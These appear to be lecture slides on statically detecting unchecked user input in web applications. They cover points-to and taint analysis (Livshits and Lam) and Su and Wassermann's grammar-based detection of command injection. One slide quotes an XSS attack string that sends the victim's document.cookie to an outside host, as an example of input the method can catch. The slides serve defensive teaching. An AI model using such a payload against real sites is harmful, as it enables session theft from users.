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Unchecked User Input

Input Sources Vulnerabilities

Parameter manipulation SQL Injection

URL manipulation HTTP response splitting

Header manipulation Cross-site scripting

Cookie poisoning Path traversal

Command injection

When input is not properly sanitized before use, a 
variety of vulnerabilities are possible.
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Detecting Unchecked Input Statically

• Goal: use static analysis to identify missing input 
sanitization.
– We’ll call use of unchecked input “security violations.”

• Can we use existing points-to analysis?
– Sound, precise, and scalable?

• Is points-to analysis all we need?
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Background: Points-to Analysis

• Determine which heap objects a given program variable 
may point to during execution.

• Desirable qualities:
– Soundness

• No false negatives: every possible points-to relationship is identified. 
• Being conservative leads to imprecision.

– Precision
• Few false positives.

– Efficiency
• Speed of analysis can be a problem.
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Points-to Precision Problem

• An imprecise points-to analysis would not differentiate between possible 
objects referred to by s1 and s2.

1 class DataSource {
2     String url;
3     DataSource(String url) {
4         this.url = url;
5     }
6     String getUrl(){
7         return this.url;
8     }
9     ...
10 }
11 String passedUrl = request.getParameter("...");
12 DataSource ds1 = new DataSource(passedUrl);
13 String localUrl = "http://localhost/";
14 DataSource ds2 = new DataSource(localUrl);
15
16 String s1 = ds1.getUrl();
17 String s2 = ds2.getUrl();
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Imprecision From Context-Insensitivity

pointsto( v : Var,  h : Heap )
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Object id( Object p ) {
    return p;
}

x = id( a );
y = id( b );

a b

p

x y



Context-Sensitive

pointsto( vc : VarContext,  v : Var,  h : Heap )
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Object id( Object p ) {
    return p;
}

x = id( a );
y = id( b );

a b

p2

x y

p1



Context-sensitivity and Cloning

• The context of a method invocation is distinguished by 
its call path (call stack).

• k-CFA (Control Flow Analysis): remember only the last k 
call sites.

• Use cloning. [Whaley, PLDI 04]
– Generate multiple instances of a method so that each call is 

invoking a different instance.
– ∞-CFA when there is no recursion.
– Does cloning sound familiar? KLEE?
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• Exponentially many points-to results.

• Use Binary Decision Diagrams (BDDs) for solving points-
to analysis  [Berndl, PLDI ‘03]

• Use BDD-Based Deductive DataBase (bddbddb) 
[Whaley & Lam, PLDI ‘04]
– Express pointer analysis in Datalog (logic programming 

language).
– Translate Datalog into efficient BDD implementations.

Scalability of Context-Sensitivity
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Image: 
http://en.wikipedia.org/wiki/Bi
nary_decision_diagram



Imprecision From Object-Insensitivity

pointsto( v : Var,  h : Heap )
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x = new Foo();
y = new Foo();
a = new Bar();
b = new Bar();

x.v = a;
y.v = b;

x, y

a b

v

Note:  this is actually showing field sensitivity, not object sensitivity. 



x

Object-Sensitivity

pointsto( vo : Heap, v : Var,  h : Heap )
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x = new Foo();
y = new Foo();
a = new Bar();
b = new Bar();

x.v = a;
y.v = b;

a

v

y

b

v

Note:  this is actually showing field sensitivity, not object sensitivity. 



Imprecision From Maps/Collections

• Maps with constant strings are common.

2010-05-03 Static Analysis and Web App Security 13

HashMap map = new HashMap(); 

String x = req.getParam(“x”);
map.put(“NAME”, x);

String t = “boss”;
map.put(“TITLE”, t);

String y = map.get(“TITLE”);
map

x y

data

t



Map-sensitivity

• Model HashMap.put/get operations specially.
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HashMap map = new HashMap(); 

String x = req.getParam(“x”);
map.put(“NAME”, x);

String t = “boss”;
map.put(“TITLE”, t);

String y = map.get(“TITLE”);
map

x yt

“TITLE”“NAME”



Flow-Sensitivity 

• Flow-sensitive analysis computes a different solution for 
each point in the program.

• Common difficulties:
– Strong updates difficult, thus weak updates used.

• Is this a problem for functional languages?

– Efficiency.

• Approach: use only local flow (within methods).
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Putting It Together

• Object-sensitivity + Context-sensitivity gives the following 
relation:

pointsto( vc : VarContext, vo : Heap, v : Var,  h : Heap )

• Plus map-sensitivity and special handling of Java string 
routines.

• “1-level object-sensitivity” (?) [Livshits slides]:

pointsto( vc : VarContext, vo1 : Heap, vo2 : Heap, v : Var,

ho : Heap, h : Heap )
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1 String param = req.getParameter("user");
2 ...
3 String query = param;
4 ...
5 con.executeQuery(query);

Points-to Analysis and We’re Done?
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• Points-to analysis gives us static knowledge of what an 
object refers to at runtime.

• To find missing input checks, we still need to identify 
objects sources and sinks.



Use PQL for Taint Analysis

• Same PQL that we saw a few weeks ago.

• Specify sources, derivations, and sinks.
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Integration with Eclipse

• TODO
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Vulnerabilities Discovered

• Discovered 23 vulnerabilities in real applications.
– Only 1 was already known.
– 1 found in library (hibernate), another in J2EE implementation.

• 4 of the 23 are the same J2EE implementation error.
– “Almost all errors we reported to program maintainers were confirmed.”
– Also found 6 vulnerabilities in webgoat.

• 12 false positives.
– All in one app (snipsnap) due to insufficient precision of object-naming.
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SQL injections HTTP splitting XSS Path traversal Total

Header manip 0 6 3 0 9

Param. manip. 2 5 0 2 9

Cookie poison 0 0 0 0 0

Non-Web input 2 0 0 3 5

Total 4 11 3 5 23



Evaluation Summary

Summary of data on the number of tainted objects, reported security violations, 
and false positives for each analysis version.

Enabled analysis features are indicated by checkmarks.
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Number of Tainted Objects

Comparison of the number of tainted objects for each 
version of the analysis.
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Timing Evaluation
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Limitations

• Dynamic class loading and generation. 

• Reflectively called classes. 
– For reflective calls, a simple analysis is used that handles 

common uses of reflection.
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Essence of Command Injection 
Attacks

Zhendong Su and Gary Wassermann
POPL ‘06



Taint Analysis is Not Sufficient

• Sanitization of user input can be inaccurate.

• Checked input is not always safe.
– Inaccurate checking may allow it to alter the structure of 

commands constructed from the string.
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SQL Injection Parse Tree Example
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Modify Input, Use a New Grammar

• Define an augmented grammar with additional 
production rules using new delimiters:

• Add the delimiters around all user input.

• Make sure commands parse correctly with the new 
grammar before stripping delimiters and running the real 
command.
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Applicable Beyond SQL Injection

• The idea is “general and appl[ies] to other settings that 
generate structured, meaningful output from user-
provided input.”
– Cross-Site Scripting (XSS)
– XPath injection
– Shell injection
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Cross Site Scripting

• The following attack input could be detected:
><script>document.location='http://www.xss.com/cgi-

bin/cookie.cgi?'%20+document.cookie</script

– It is “…not a valid syntactic form, since the first character 
completes a preceding tag.”

• What grammar does one augment?
– XSS can be within HTML or JavaScript.
– Can this input be XSS and what syntax would it violate?

javascript:document.location=...
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Evaluation
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According to the Authors

• PQL trusts user filters, so it does not provide strong 
security guarantees.

• SQLCheck (their system) does not address 
completeness.

• They intend to look at static analysis to instrument code 
without requiring it all to be done manually.
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Summary

• Livshits and Lam, ‘05
– Improve existing points-to analysis.
– Use PQL for taint specification and analysis.
– Combine into a working Eclipse plugin.
– Found previously unknown vulnerabilities in real applications.

• Su and Wasserman, ‘06
– Formal definition of command injection attacks.
– Write a grammar for structured output and see if the user input 

changes the structure.
– Manually modify all places where input enters code and where 

commands are executed.
– Prevented known SQL injection vulnerabilities in their own tests.
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